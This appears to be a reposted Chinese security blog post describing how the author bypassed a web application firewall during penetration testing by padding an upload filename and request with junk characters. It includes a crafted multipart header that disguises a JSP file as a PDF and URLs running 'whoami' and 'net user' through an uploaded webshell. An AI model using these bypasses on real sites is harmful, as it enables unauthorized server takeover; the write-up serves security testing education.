通过大量垃圾字符绕过WAF上传文件
2021-03-31 22:27:39 Author: www.freebuf.com(查看原文) 阅读量:166 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一、简介

在对网站进行渗透测试过程中,经常会遇见WAF,从而导致直接封IP,无法上传文件,文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应用没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等Webshell,从而达到控制Web网站的目的。

一般服务端WAF检测原理包括

黑名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件;
白名单检测:一般有个专门的 whitelist 文件,里面会包含的正常文件。

二、绕过WAF

解析漏洞、截断上传%00、服务端绕过MIME检测等。本文章介绍自己通过垃圾字符绕过WAF经历,使用Burpsuite进行截断代理,抓取数据包。

1617196091_6064743b30a82b18ac8c8.png!small

1617196161_60647481ca029e6e42cba.png!small

上传文件JSP过程中WAF直接封了IP,提示不允许上传文件。换个IP试一下,从新上传文件

Content-Disposition:

form-data; name="file";

filename="1................................................................................................................................................................................................................................................................................JSP"
Content-Type: application/PDF

1617196717_606476ad6cfbf870dc822.png!small

1617196772_606476e40b46a33d83630.png!small

上传JSP发现上传失败,所以尝试使用大量垃圾字符,最后成功拿到shell

1617196950_60647796d8122ed7b3a55.png!small

三、总结绕过WAF方法

1、使用多个文件名绕过WAF,成功上传jsp

2、上传内容使用垃圾字符进行绕过,

http://xxx.com/2021/03/31/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=netuser

http://xxx.com/2021/03/31/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami


文章来源: https://www.freebuf.com/articles/web/268227.html
如有侵权请联系:admin#unsafe.sh